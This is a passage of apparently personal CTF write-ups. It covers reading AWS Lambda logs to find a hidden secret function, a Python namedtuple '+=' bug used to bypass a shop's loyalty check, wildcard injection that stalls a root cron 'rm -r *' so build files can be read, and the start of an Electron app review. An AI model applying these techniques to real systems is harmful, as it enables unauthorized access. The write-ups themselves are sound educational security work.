                        "iam:CreateRole",
                        "iam:AttachRolePolicy",
                        "iam:PassRole"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "iam:ListAttachedUserPolicies",
                        "iam:GetUser"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:iam::908166204863:user/azure_user"
                },
                {
                    "Action": [
                        "lambda:Invoke*",
                        "lambda:ListFunctions",
                        "lambda:CreateFunction",
                        "logs:DescribeLogGroups",
                        "logs:DescribeLogStreams",
                        "logs:GetLogEvents",
                        "lambda:UpdateFunctionCode"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": [
                        "cloudformation:CreateStack"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2022-11-18T03:22:31Z"
    }
}
```

As we already know, we can invoke lambda functions. Let's try to invoke the `event-webservice` function to see its output.

{% code overflow="wrap" %}

```json
$ aws lambda invoke --function-name event-webservice --payload '{"url":"http://example.com"}' out.txt
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

$ cat out.txt
{"statusCode": 200, "headers": {"Content-Type": "application/json", "Access-Control-Allow-Origin": "*"}, "body": "{\"Message\": \"Purrfect!\"}", "isBase64Encoded": false}
```

{% endcode %}

Hmm, this function does not return much useful information. Not providing a valid payload also results in an exception, but we can't see much from the response.

{% code overflow="wrap" %}

```json
{"errorMessage": "'url'", "errorType": "KeyError", "requestId": "ab4a0452-88fd-4d67-92b2-4861ad4f857e", "stackTrace": ["  File \"/var/task/main.py\", line 6, in lambda_handler\n    print(event[\"url\"])\n"]}
```

{% endcode %}

## Log Me In

Three of the actions listed in the policy allow us to retrieve logs from the logs API.

```json
"logs:DescribeLogGroups",
"logs:DescribeLogStreams",
"logs:GetLogEvents"
```

Viewing the logs of the function's execution may provide us with more insights.

To begin, we can list the log groups available. The `/aws/lambda/event-webservice` log group contains the logs of our previously invoked function, but there are several other interesting log groups as well.

```json
$ aws logs describe-log-groups
{
    "logGroups": [
        {
            "logGroupName": "/aws/lambda/agent-webservice",
            "creationTime": 1665202979754,
            "metricFilterCount": 0,
            "arn": "arn:aws:logs:ap-southeast-1:908166204863:log-group:/aws/lambda/agent-webservice:*",
            "storedBytes": 687
        },
        {
            "logGroupName": "/aws/lambda/amplify-stfmobilechalleng-UpdateRolesWithIDPFuncti-LUiAZ9V8Ozui",
            "creationTime": 1661694112426,
            "metricFilterCount": 0,
            "arn": "arn:aws:logs:ap-southeast-1:908166204863:log-group:/aws/lambda/amplify-stfmobilechalleng-UpdateRolesWithIDPFuncti-LUiAZ9V8Ozui:*",
            "storedBytes": 964
        },
        {
            "logGroupName": "/aws/lambda/amplify-stfmobilechallenge-pr-UserPoolClientLambda-zd7XTYeuNczP",
            "creationTime": 1661694081981,
            "metricFilterCount": 0,
            "arn": "arn:aws:logs:ap-southeast-1:908166204863:log-group:/aws/lambda/amplify-stfmobilechallenge-pr-UserPoolClientLambda-zd7XTYeuNczP:*",
            "storedBytes": 807
        },
        {
            "logGroupName": "/aws/lambda/amplify-stfmobilechallenge-prod-21-RoleMapFunction-iQfrqN7EZzDT",
            "creationTime": 1661694156003,
            "metricFilterCount": 0,
            "arn": "arn:aws:logs:ap-southeast-1:908166204863:log-group:/aws/lambda/amplify-stfmobilechallenge-prod-21-RoleMapFunction-iQfrqN7EZzDT:*",
            "storedBytes": 1123
        },
        {
            "logGroupName": "/aws/lambda/event-webservice",
            "creationTime": 1664456644866,
            "metricFilterCount": 0,
            "arn": "arn:aws:logs:ap-southeast-1:908166204863:log-group:/aws/lambda/event-webservice:*",
            "storedBytes": 333046
        },
        {
            "logGroupName": "/aws/lambda/internal-secret-of-MeowOlympurr-webservice",
            "creationTime": 1664456602816,
            "metricFilterCount": 0,
            "arn": "arn:aws:logs:ap-southeast-1:908166204863:log-group:/aws/lambda/internal-secret-of-MeowOlympurr-webservice:*",
            "storedBytes": 3874
        }
    ]
}
```

The last log group, `/aws/lambda/internal-secret-of-MeowOlympurr-webservice`, is very suspicious indeed! Let's take a look at its log streams.

```json
$ aws logs describe-log-streams --log-group-name /aws/lambda/internal-secret-of-MeowOlympurr-webservice
{
    "logStreams": [
        {
            "logStreamName": "2022/09/29/[$LATEST]89365d3113c74e2b8025c903e929c699",
            "creationTime": 1664456602877,
            "firstEventTimestamp": 1664456598757,
            "lastEventTimestamp": 1664456599885,
            "lastIngestionTime": 1664456602885,
            "uploadSequenceToken": "49631374357748980131057872210468490102701359339921212082",
            "arn": "arn:aws:logs:ap-southeast-1:908166204863:log-group:/aws/lambda/internal-secret-of-MeowOlympurr-webservice:log-stream:2022/09/29/[$LATEST]89365d3113c74e2b8025c903e929c699",
            "storedBytes": 0
        },
        {
            "logStreamName": "2022/11/18/[$LATEST]44ce7a2544da4bfc948f03282b91d0cf",
            "creationTime": 1668780227368,
            "firstEventTimestamp": 1668780224001,
            "lastEventTimestamp": 1668780225039,
            "lastIngestionTime": 1668780227376,
            "uploadSequenceToken": "49635250750640673817660415146841146067518925277000369794",
            "arn": "arn:aws:logs:ap-southeast-1:908166204863:log-group:/aws/lambda/internal-secret-of-MeowOlympurr-webservice:log-stream:2022/11/18/[$LATEST]44ce7a2544da4bfc948f03282b91d0cf",
            "storedBytes": 0
        },
        
        ...
        
        {
            "logStreamName": "2022/12/05/[$LATEST]decfb40844a34bac9b214a0554a66fd6",
            "creationTime": 1670227009203,
            "firstEventTimestamp": 1670227006277,
            "lastEventTimestamp": 1670227014407,
            "lastIngestionTime": 1670227023211,
            "uploadSequenceToken": "49632176992767417780933879553633127728338169758501306658",
            "arn": "arn:aws:logs:ap-southeast-1:908166204863:log-group:/aws/lambda/internal-secret-of-MeowOlympurr-webservice:log-stream:2022/12/05/[$LATEST]decfb40844a34bac9b214a0554a66fd6",
            "storedBytes": 0
        }
    ] 
}
```

The log stream names are in the format `<YYYY>/<MM>/<DD>/[$LATEST]<HASH>`.

There are a bunch of logs from recent runs in November and December, but these all had the same message.

```json
$ aws logs get-log-events --log-group-name /aws/lambda/internal-secret-of-MeowOlympurr-webservice --log-stream-name "2022/11/18/[\$LATEST]44ce7a2544da4bfc948f03282b91d0cf"
{
    "events": [
        {
            "timestamp": 1668780224001,
            "message": "START RequestId: fdf4ec99-a296-4a3a-ad76-bfaae36f00c6 Version: $LATEST\n",
            "ingestionTime": 1668780227376
        },
        {
            "timestamp": 1668780225036,
            "message": "Cy-purr incident logged. Details returned in response.\n",
            "ingestionTime": 1668780227376
        },
        {
            "timestamp": 1668780225039,
            "message": "END RequestId: fdf4ec99-a296-4a3a-ad76-bfaae36f00c6\n",
            "ingestionTime": 1668780227376
        },
        {
            "timestamp": 1668780225039,
            "message": "REPORT RequestId: fdf4ec99-a296-4a3a-ad76-bfaae36f00c6\tDuration: 1037.56 ms\tBilled Duration: 1038 ms\tMemory Size: 128 MB\tMax Memory Used: 64 MB\tInit Duration: 248.95 ms\t\n",
            "ingestionTime": 1668780227376
        }
    ],
    "nextForwardToken": "f/37215042590941332020282308591224014775743903776811319299/s",
    "nextBackwardToken": "b/37215042567793158504207521770309939208734904533603647488/s"
}
```

The earliest log event was in September, which seemed the most out of place since it took place almost a full 2 months prior to the next log stream.

```json
$ aws logs get-log-events --log-group-name /aws/lambda/internal-secret-of-MeowOlympurr-webservice --log-stream-name "2022/09/29/[\$LATEST]89365d3113c74e2b8025c903e929c699"
{
    "events": [
        {
            "timestamp": 1664456598757,
            "message": "START RequestId: ef62b404-5f8e-4258-8ed5-cc4cfa0b8d9f Version: $LATEST\n",
            "ingestionTime": 1664456602885
        },
        {
            "timestamp": 1664456599881,
            "message": "secrets returned in response\n",
            "ingestionTime": 1664456602885
        },
        {
            "timestamp": 1664456599885,
            "message": "END RequestId: ef62b404-5f8e-4258-8ed5-cc4cfa0b8d9f\n",
            "ingestionTime": 1664456602885
        },
        {
            "timestamp": 1664456599885,
            "message": "REPORT RequestId: ef62b404-5f8e-4258-8ed5-cc4cfa0b8d9f\tDuration: 1127.88 ms\tBilled Duration: 1128 ms\tMemory Size: 128 MB\tMax Memory Used: 66 MB\tInit Duration: 252.13 ms\t\n",
            "ingestionTime": 1664456602885
        }
    ],
    "nextForwardToken": "f/37118622528048020294223043316229506999384126924735250435/s",
    "nextBackwardToken": "b/37118622502892779710280500412577216787836775145989341184/s"
}
```

This time, we get the message "secrets returned in response". Looks like this function does return something useful after all. Let's try to invoke the corresponding function, `internal-secret-of-MeowOlympurr-webservice`.

{% code overflow="wrap" %}

```json
$ aws lambda invoke --function-name internal-secret-of-MeowOlympurr-webservice out.txt
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

$ cat out.txt
{"statusCode": 200, "headers": {"Content-Type": "application/json", "Access-Control-Allow-Origin": "*"}, "body": "{\"Message\": \"STF22{LIveInTh3Me0wmen7_:3}\"}", "isBase64Encoded": false}%
```

{% endcode %}

Sure enough, the flag is in the response!

## Conclusion

In conclusion, I am too lazy to write one so ChatGPT did it for me.

<figure><img src="/files/7bs7hZ8ETdh3T6PpOSCr" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
Verse 1:
In Meow Olympurr, met some native Meows
They were cautious at first, but warmed up soon
They shared with me their new website for tourism
But they were not cy-purr security trained, they needed to learn

Chorus:
Log a cy-purr security case, find the secret code
Invoke the mysterious function, it's time to hit the road

Verse 2:
The young Meows were trying to get two environments to play
But something was breaking, they needed help that day
I found a CloudFront page, https://d2p9lw76n0gfo0.cloudfront.net
Scanned for hidden files, but that didn't get me anywhere yet

Chorus:
Log a cy-purr security case, find the secret code
Invoke the mysterious function, it's time to hit the road

Verse 3:
The 404 error page raised my suspicions, something was amiss
An HTTP image was loaded on an HTTPS page, that's a no-no
The CORS-Anywhere proxy caught my eye, http://18.141.147.115:8080
It added CORS headers to the resource from https://meowolympurr.z23.web.core.windows.net

Chorus:
Log a cy-purr security case, find the secret code
Invoke the mysterious function, it's time to hit the road

Verse 4:
The resource was an Azure Blob Storage URL, time to investigate
I visited the 404 error page again, this time on the blob storage site
The same error image was fetched, but with a SAS token in tow
An HTML comment hinted at using the SAS token to access the website's source code

Chorus:
Log a cy-purr security case, find the secret code
Invoke the mysterious function, it's time to hit the road

Verse 5:
The source code of this function was what I was looking for
I started by listing the containers available, using the Blob Service REST API
I specified comp=list, and appended the SAS token to the URL
This gave me a list of containers, and I found the one I was looking for

Chorus:
Log a cy-purr security case, find the secret code
Invoke the mysterious function, it's time to hit the road

Verse 6:
I accessed the container using the SAS token and the REST API
This gave me access to the source code of the function, time to get busy
I looked through the code and found the secret code, I had won
Invoking the mysterious function with the secret code, mission complete, it's done

Outro:
I found the secret code, invoked the mysterious function
Thanks to the native Meows, I conquered this sassy challenge
Logged a cy-purr security case, and learned a thing or two
In Meow Olympurr, I am a cybersecurity pro.
```

{% endcode %}


# The Blacksmith

Python is weird.

## Introduction

This was one of the more interesting Web challenges from this CTF, because it taught me something new about Python and how it handles augmented assignment statements.

The challenge centered around a "market" API, where customers could buy "regular" and "exclusive" items.

```python
SHOP = {
    "customers": [],
    "inventory": {
        "regular": (
            Weapon("brokensword", 5, 0),
            Weapon("woodensword", 5, 1),
            Weapon("stonesword", 10, 2),
            Weapon("ironsword", 50, 10),
            Weapon("goldsword", 100, 20),
            Weapon("diamondsword", 500, 100),
        ),
        "exclusive": (Weapon("flagsword", 5, 0),),
    },
}
```

The customer's eligibility to purchase exclusive items depends on the customer's `tier`, which checks if the customer's `fame` and the sum of their loyalty `point_history` exceeds 1337.

```python
@dataclass
class Customer:
    id: str
    gold: int
    loyalty: Loyalty | RestrictedLoyalty

    @property
    def tier(self):
        if (self.loyalty.fame + sum(self.loyalty.point_history)) > 1337:
            return "exclusive"
        return "regular"

    @staticmethod
    def index_from_id(id):
        for idx, customer in enumerate(SHOP["customers"]):
            if customer.id == id:
                return idx
        return None
```

## Exploring the API

The first bug that might have been immediately obvious when visiting the page is that the index page is unauthenticated. Although the `customer_id` parameter is checked, a `HTTPException` is called but *not raised*.

```python
@app.get("/")
def index(customer_id=""):
    customer = Customer.index_from_id(customer_id)

    if customer is None:
        HTTPException(status_code=401)

    shop_items = [
        *SHOP["inventory"]["exclusive"],
        *SHOP["inventory"]["regular"],
    ]
    if LOYALTY_SYSTEM_ACTIVE:
        return shop_items

    return [item for item in shop_items if item.loyalty_points == 0]
```

This pattern does not repeat itself in any of the other API routes, though. We can see that we in fact need a valid `customer_id` to access the rest of the features.

```python
if customer_idx is None:
    raise HTTPException(status_code=401)
```

Let's register a new user. Because `LOYALTY_SYSTEM_ACTIVE` is set to `False`, we are given a `RestrictedLoyalty`  which is a `namedtuple`. This is an [immutable](https://realpython.com/courses/immutability-python/) data structure. We also start with 5 `gold`.

```python
LOYALTY_SYSTEM_ACTIVE = False

...

RestrictedLoyalty = namedtuple("RestrictedLoyalty", ["fame", "point_history"])

...

@app.get("/customer/new")
def register():
    if LOYALTY_SYSTEM_ACTIVE:
        customer = Customer(id=uuid4().hex, gold=5, loyalty=Loyalty(1, []))
    else:
        # Ensure loyalty immutable
        customer = Customer(
            id=uuid4().hex, gold=5, loyalty=RestrictedLoyalty(1, [])
        )

    SHOP["customers"].append(customer)
    print(SHOP['customers'])

    return {"id": customer.id}
```

Visiting this endpoint provides us with a new customer ID.

```http
HTTP/1.1 200 OK
date: Wed, 07 Dec 2022 08:28:52 GMT
server: uvicorn
content-length: 41
content-type: application/json
Connection: close

{"id":"710eab1db93e413192e908358c38c168"}
```

A `/battle` endpoint provides a potential way to increase our `fame`, but as we saw earlier, `LOYALTY_SYSTEM_ACTIVE` is `False` so this is not possible.

```python
@app.get("/battle")
def battle(customer_id=""):
    customer_idx = Customer.index_from_id(customer_id)
    if customer_idx is None:
        raise HTTPException(status_code=401)

    is_victorious = choice([True, False])

    if is_victorious and LOYALTY_SYSTEM_ACTIVE:
        SHOP["customers"][customer_idx].loyalty.fame += 1

    message = "You won!" if is_victorious else "You lost!"

    return {"result": message}
```

Since our goal is to purchase the `flagsword`, we should take a look at the `/buy` endpoint. Since this function is rather long, I'll break it up into parts.

First, we have to provide our `customer_id` and a list of `items` that we want to buy.

```python
def weapon_from_name(weapons, name):
    for weapon in weapons:
        if weapon.name == name:
            return weapon
    return None
    
...

@app.get("/buy")
def buy_item(customer_id="", items: list[str] | None = Query(default=[])):
    customer_idx = Customer.index_from_id(customer_id)

    if customer_idx is None:
        raise HTTPException(status_code=401)

    if items is None:
        return {"purchased": ""}
```

The weapons that we are eligible to purchase depends on our customer `tier`. Since we are a `regular` plebeian, we can only get to purchase regular weapons. Among the regular weapons, we only have enough gold to buy either a `brokensword` or a `woodensword`.

```python
    match SHOP["customers"][customer_idx].tier:
        case "regular":
            get_weapon = partial(
                weapon_from_name, SHOP["inventory"]["regular"]
            )
        case "exclusive":
            get_weapon = partial(
                weapon_from_name,
                [
                    *SHOP["inventory"]["regular"],
                    *SHOP["inventory"]["exclusive"],
                ],
            )
        case _:
            raise HTTPException(status_code=500)
            
    cart = []
    for item in items:
        weapon = get_weapon(item)
        if weapon is None:
            raise HTTPException(status_code=404)
        cart.append(weapon)
```

If any of the items we are attempting to buy exceeds our available `gold`, a 403 Forbidden is returned. The total price of all items is summed up and the loyalty points of the items are stored in a `point_history` list.

```python
    total_price = 0
    point_history = []
    for item in cart:
        if item.price > SHOP["customers"][customer_idx].gold:
            raise HTTPException(status_code=403)
        total_price += item.price
        if item.loyalty_points > 0:
            point_history += [item.loyalty_points]
```

If there are any loyalty points involved, the code attempts to add the `point_history` list to our customer `point_history` record, [EAFP](https://realpython.com/python-lbyl-vs-eafp/#the-easier-to-ask-forgiveness-than-permission-eafp-style)-style.

```python
    try:
        if len(point_history) > 0:
            SHOP["customers"][
                customer_idx
            ].loyalty.point_history += point_history
        if SHOP["customers"][customer_idx].gold < total_price:
            raise HTTPException(status_code=403)
        SHOP["customers"][customer_idx].gold -= total_price
    except Exception as e:
        raise HTTPException(status_code=403)
```

Note that because our loyalty object is an immutable `namedtuple`, this will definitely raise an exception. In fact, attempting to set any attribute in the `namedtuple` will cause an `AttributeError` when performing the assignment.

```python
>>> from collections import namedtuple
>>> RestrictedLoyalty = namedtuple("RestrictedLoyalty", ["fame", "point_history"])
>>> my_loyalty = RestrictedLoyalty(0, [])
>>> my_loyalty.fame = 1
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: can't set attribute
```

Finally, if we managed to purchase a `flagsword`, then we are presented with the flag.

```python
    if "flagsword" in [weapon.name for weapon in cart]:
        return {"purchased": FLAG}

    return {"purchased": cart}
```

## Immutability is Misleading

I didn't manage to spot this bug for quite a while, but luckily this challenge is one that can be solved by fuzzing and logging out as many things as possible.

If we just analyze the behaviour of the application when attempting to set the `point_history`, we would quickly find that something weird is going on.

```python
try:
    if len(point_history) > 0:
        SHOP["customers"][
            customer_idx
        ].loyalty.point_history += point_history
    if SHOP["customers"][customer_idx].gold < total_price:
        raise HTTPException(status_code=403)
    SHOP["customers"][customer_idx].gold -= total_price
except Exception as e:
    print("Exception: ", e)
    print("Point history: ", SHOP["customers"][customer_idx].loyalty.point_history)
    raise HTTPException(status_code=403)
```

By sending a request to buy a `woodensword` (costing 5 gold and having 1 loyalty point) as follows

```
/buy?customer_id=96d04a31cdca47dba99e588f85d28b1b&items=woodensword
```

We see that the `AttributeError` is raised as expected, but somehow, our point history has actually been modified!

```
Exception:  can't set attribute
Point history:  [1]
INFO:     172.17.0.1:59960 - "GET /buy?customer_id=96d04a31cdca47dba99e588f85d28b1b&items=woodensword HTTP/1.1" 403 Forbidden
```

Wait... what??? I thought the `namedtuple` is immutable?

## Digging Deeper

I wanted to dig a little deeper to investigate the root cause of this weird behaviour that challenged my *Introduction to Programming* Python knowledge.

Immutability in Python is tricky - while the tuple itself is immutable, if a tuple contains a mutable object, that object can still be modified [in-place](https://en.wikipedia.org/wiki/In-place_algorithm). For example, if we have a `list` within a `tuple`, that list can still be modified in-place using a method such as `append`.

```python
>>> tup = (["hello"], )
>>> tup[0].append("world")
>>> tup
(['hello', 'world'],)
```

But wasn't the code performing *assignment* instead of an in-place operation? Didn't the exception get raised anyway?

Turns out, all the *Introduction to Programming* lessons that taught me `x += y` was the same as `x = x + y` were wrong. Taking a look at Python's [documentation](https://docs.python.org/3/reference/simple_stmts.html) on statements, we would see that it is explained that these two statements are not quite the same.

> An augmented assignment expression like `x += 1` can be rewritten as `x = x + 1` to achieve a similar, but not exactly equal effect. In the augmented version, `x` is only evaluated once. Also, when possible, the actual operation is performed *in-place*, meaning that rather than creating a new object and assigning that to the target, the old object is modified instead.

Hmm... ok, but if the operation is only performed in-place, why raise the error?

I then looked up Python's [in-place operators](https://docs.python.org/3/library/operator.html), and found that the `+=` operator is just syntactic sugar for the `__iadd__` method. Basically, when doing `x += y`, we are really doing:

```python
x = x.__iadd__(y)
```

and because some objects like tuples are immutable, it is not *guaranteed* that the operation would be in-place, so there is still an assignment step regardless of whether the operation was in-place or not.

For list objects, the `__iadd__` method (implemented as [`list_inplace_concat`](https://github.com/python/cpython/blob/main/Objects/listobject.c#L985) in the CPython source) is just a wrapper for `list_extend`, an in-place method. We see that the original list object is still returned to make the assignment step work.

```c
static PyObject *
list_inplace_concat(PyListObject *self, PyObject *other)
{
    PyObject *result;

    result = list_extend(self, other);
    if (result == NULL)
        return result;
    Py_DECREF(result);
    return Py_NewRef(self);
}
```

It is at the *assignment* step that an error is raised, because the immutable `namedtuple` does not support item assignments. But by the time this happens, the list has already been modified.

## Back to the Challenge

In order to solve this challenge, we just have to buy the `woodensword` 1337 times. Note that because our gold amount is checked against `total_price` only *after* the `point_history` assignment is attempted, we can just add the `woodensword` to our cart 1337 times.

```python
if len(point_history) > 0:
    SHOP["customers"][
        customer_idx
    ].loyalty.point_history += point_history
if SHOP["customers"][customer_idx].gold < total_price:
    raise HTTPException(status_code=403)
SHOP["customers"][customer_idx].gold -= total_price
```

First, we send a request to increase our loyalty point history 1337 times.

<figure><img src="/files/nqG6653vLVcj2Mg0ZcPx" alt=""><figcaption></figcaption></figure>

Then we could unlock and buy the `flagsword`!

```
/buy?customer_id=96d04a31cdca47dba99e588f85d28b1b&items=flagsword
```

```http
HTTP/1.1 200 OK
date: Wed, 07 Dec 2022 09:35:01 GMT
server: uvicorn
content-length: 83
content-type: application/json
Connection: close

{"purchased":"STF22{this_is_a_dummy_flag_for_your_personal_testing_do_not_submit}"}
```


# GutHib Actions

This was a very simple Misc challenge with an obvious intended solution, but I solved it using a (relatively more complex) unintended solution. I thought I'd share it here for people to enjoy :)

## Challenge Premise

The challenge revolves around the `root` user running a `build.sh` script every minute.&#x20;

The script runs a `build.py` file, which calls on [`pyinstaller`](https://pyinstaller.org/en/stable/index.html) to build an executable from the `/root/flag.py` file, and store it in the `/root` directory.

Finally, the `/tmp` directory is cleared with `rm -r *`, which deletes all build files generated by `pyinstaller`.

{% tabs %}
{% tab title="Dockerfile" %}

```docker
FROM ubuntu:22.04

RUN apt-get update &&  \
    apt-get install -y python3 python3-pip openssh-server cron && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

RUN pip install pyinstaller && \
    pip cache purge

RUN useradd -m -c 'Restricted guest account' guest && \
    echo 'guest:guest' | chpasswd

RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config

RUN (crontab -l ; echo "* * * * * /root/build.sh") | crontab


COPY ./flag.py /root/flag.py
COPY ./build.sh /root/build.sh
COPY ./build.py /root/build.py
COPY ./start.sh /root/start.sh

RUN chown -R guest /home/guest && \
    chmod -R 700 /root && \
    chmod -R 777 /home/guest
EXPOSE 1337
ENTRYPOINT /root/start.sh

```

{% endtab %}

{% tab title="build.sh" %}

```bash
#!/bin/bash
cd /tmp  # dump all the temp files Pyinstaller may generate in the temp dir
cp /root/build.py build.py
python3 build.py >/dev/null 2>&1  # build flag printing binary
rm -r *
```

{% endtab %}

{% tab title="build.py" %}

```python
import subprocess
subprocess.call(['pyinstaller',  '-F',  '--distpath', '/root', '/root/flag.py'])
```

{% endtab %}
{% endtabs %}

## Unintended Solution

It might not be immediately obvious, but there is actually a vulnerability in the `build.sh` file. The `rm -r *` uses [**wildcard expansion**](https://frippery.org/busybox/globbing.html), which is *wild*ly dangerous.

In Unix, wildcards are expanded by the shell and any matching filenames are passed as arguments to the program being run. This means that if there is a file by the name `-rf`, the `rm *` command would automatically be expanded to `rm -rf` - dangerous indeed!

In this case, we do *not* want everything from the `/tmp` directory to be removed after the script is run, because the PyInstaller build files contain valuable information. We can place a file with the name `-i` in the `/tmp` directory to achieve this. According to the [man page](https://linuxcommand.org/lc3_man_pages/rm1.html):

```
-i     prompt before every removal
```

Therefore, by doing this:

```bash
$ echo "asdf" > "-i"
$ ls -la
total 12
-rw-rw-r-- 1 guest guest    5 Dec  5 18:00 -i
drwxrwxrwt 1 root  root  4096 Dec  5 18:00 .
drwxr-xr-x 1 root  root  4096 Dec  5 17:55 ..
```

we are effectively "hanging" the cronjob script at the `rm -r *` command, since the script has no way of answering the prompt that appears:

```
rm: descend into directory 'build'?
```

After the script runs, we have access to PyInstaller's build directory, where PyInstaller creates the files necessary for building the final executable generated in the `distpath`.

```bash
$ ls -la
total 24
-rw-rw-r-- 1 guest guest    5 Dec  5 18:04 -i
drwxrwxrwt 1 root  root  4096 Dec  5 18:07 .
drwxr-xr-x 1 root  root  4096 Dec  5 18:02 ..
drwxr-xr-x 3 root  root  4096 Dec  5 18:06 build
-rwx------ 1 root  root   101 Dec  5 18:07 build.py
-rw-r--r-- 1 root  root   814 Dec  5 18:06 flag.spec
```

Now that we have access to the `build` directory, let's take a look at what's inside.

```bash
$ ls -la build/flag
total 8468
drwxr-xr-x 3 root root    4096 Dec  5 18:06 .
drwxr-xr-x 3 root root    4096 Dec  5 18:06 ..
-rw-r--r-- 1 root root   10832 Dec  5 18:06 Analysis-00.toc
-rw-r--r-- 1 root root    4147 Dec  5 18:06 EXE-00.toc
-rw-r--r-- 1 root root    4052 Dec  5 18:06 PKG-00.toc
-rw-r--r-- 1 root root  859850 Dec  5 18:06 PYZ-00.pyz
-rw-r--r-- 1 root root    6937 Dec  5 18:06 PYZ-00.toc
-rw-r--r-- 1 root root 1066256 Dec  5 18:06 base_library.zip
-rw-r--r-- 1 root root 6457686 Dec  5 18:06 flag.pkg
drwxr-xr-x 2 root root    4096 Dec  5 18:06 localpycs
-rw-r--r-- 1 root root    1759 Dec  5 18:06 warn-flag.txt
-rw-r--r-- 1 root root  231842 Dec  5 18:06 xref-flag.html
```

As explained in the [documentation](https://pyinstaller.org/en/stable/advanced-topics.html?highlight=.pkg#using-pyi-archive-viewer), the `flag.pkg` is a ZlibArchive containing compressed `.pyc` files containing the bundled Python modules.

<figure><img src="/files/DEaGoM9RDm59Rj4X3A07" alt=""><figcaption></figcaption></figure>

We can inspect its contents using `pyi-archive_viewer`, which is installed together with PyInstaller.

```python
$ pyi-archive_viewer build/flag/flag.pkg
 pos, length, uncompressed, iscompressed, type, name
[(0, 205, 271, 1, 'm', 'struct'),
 (205, 4225, 9058, 1, 'm', 'pyimod01_archive'),
 (4430, 7416, 17526, 1, 'm', 'pyimod02_importers'),
 (11846, 1772, 3639, 1, 'm', 'pyimod03_ctypes'),
 (13618, 594, 849, 1, 's', 'pyiboot01_bootstrap'),
 (14212, 450, 678, 1, 's', 'pyi_rth_inspect'),
 (14662, 105, 126, 1, 's', 'flag'),
 ...
```

We can then extract the `flag` file using the `X` command.

{% code overflow="wrap" %}

```
? X
extract name? flag
to filename? flag
?
```

{% endcode %}

Although we could quite easily see the flag in the hexdump of the extracted file at this point, I was still slightly confused by the file format, as the magic bytes were not recognised by Python bytecode disassemblers.

The extracted file was in fact the original Python bytecode, and *not* a `.pyc` file as was suggested by the PyInstaller documentation. The key difference is that a `.pyc` file contains:

* A four-byte magic number,
* A four-byte modification timestamp, and
* A marshalled code object.

And the extracted file contains *only* the marshalled code object (also see this [issue](https://github.com/pyinstaller/pyinstaller/issues/3435)). At this point we can just use Python's `marshall` module to run the code.

```python
>>> import marshal
>>> exec(marshal.load(open('flag', 'rb')))
STF22{5up3r_5U5_5y5t3m_m0du13!_a0d66b3e608fe2b38ddf77d679fbde6b74e231f54c469a081f04dc65004360f8}
```

## Intended Solution

The intended solution was just to override the `subprocess` module by writing to a `subprocess.py` file. I actually thought of this halfway through, but I was already too far in with the unintended solution not to see it through.

Anyway, this was a fun challenge! At least I learnt a thing or two about PyInstaller.


# Electrogrid

## Initial Foothold

We are provided with a downloadable `UserLandCityPC-1.0.0.AppImage` file. This is an Electron app image. We can extract the source code either by using `binwalk` or running the app image with the `--appimage-extract` option.

This gives us the `app.asar` file, which we can again extract using

```shell
asar extract app.asar ./
```

which gives us the Electron app's source code.

At this point we can start running the Electron app, proxying the traffic through Burp Suite:

```
electron --proxy-server=127.0.0.1:8080 --enable-logging .
```

At the moment it does not load anything, but we will come back to this later.

<figure><img src="/files/ywMxfrhGqih2g1e5rPMH" alt=""><figcaption></figcaption></figure>

Let's begin by taking a look at `index.js`.

```javascript
const { app, BrowserWindow, shell, ipcMain } = require('electron');
const path = require('path');
const { download } = require('electron-dl');
const fs = require('fs');

const createWindow = () => {
    const win = new BrowserWindow({
        autoHideMenuBar: true,
        webPreferences: {
            preload: path.join(__dirname, 'preload.js'),
        },
        show: false,
        icon: path.join(__dirname,'static/userlandprivate.png')
        
    });

    win.maximize()

    win.loadFile('index.html');
    win.once('ready-to-show', () => {
        win.show()
    })

    ipcMain.on('handle-links',(event,task,url)=>{
        if (task === 'download') {
            const downloadPath = '/opt/userland/';
            const filename = url.split('/').pop();
            const filepath = `${downloadPath}${filename}`;
            
            fs.access(filepath, fs.F_OK, async (err) => {
                if (err) {
                    await download(BrowserWindow.getFocusedWindow(), url, { directory: downloadPath })
                    win.webContents.send('file-downloaded', `File Imported at: ${downloadPath}${filename}`)
                    return
                }

                win.webContents.send('file-downloaded', `File Already Exists At: ${downloadPath}${filename}`)
            })
        }
        else {
            shell.openExternal(url)
        }
    })
}


app.whenReady().then(() => {
    createWindow();
});
```

A couple things of note here:

* When the browser window is launched, the `preload.js` script is first run. This script has access to the Electron APIs.
* The `handle-links` IPC event is handled by either saving the file to disk if it is a downloadable file, or using `shell.openExternal` to open the URL.

The `shell.openExternal` function is [dangerous](https://benjamin-altpeter.de/shell-openexternal-dangers/) when used on untrusted user input, because it will “open the given external protocol URL in the desktop’s default manner”. This means that if `shell.openExternal` opens a local file using the `file:` protocol, it can automatically run executable files. We will come back to this later.

For now, we can look at `preload.js`.  We see that the preload script exposes the `handle-links` IPC event to the renderer context through the `click` event handler.

```javascript
const { contextBridge, ipcRenderer } = require('electron')

const handleAnchorClick = (event) => {
    
    const a = event.target.closest('a');
    
    if (!a) {
        return;
    }

    const href = a.getAttribute('href');
    const download = a.hasAttribute('download');

    if (download) {
        const downloadUrl = a.href;
        ipcRenderer.send('handle-links', 'download', downloadUrl)
        event.preventDefault();
        return;
    }

    ipcRenderer.send('handle-links', 'openLink', href)
    event.preventDefault();
}

window.addEventListener('click',  (event) => {
    handleAnchorClick(event);
});

contextBridge.exposeInMainWorld('electronAPI', {
    fileDownloaded: (callback) => ipcRenderer.on('file-downloaded', callback)
});
```

This means that anytime a link is clicked, the `handle-links` IPC event is fired and either a file is downloaded or `shell.openExternal` is called.

It looks like we need to trigger an arbitrary URL link click, but we are not sure how yet. Let's now take a look at the rendered HTML.

```markup
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="Content-Security-Policy" content="default-src 
'self';connect-src 'self' http://127.0.0.1:9000;style-src 
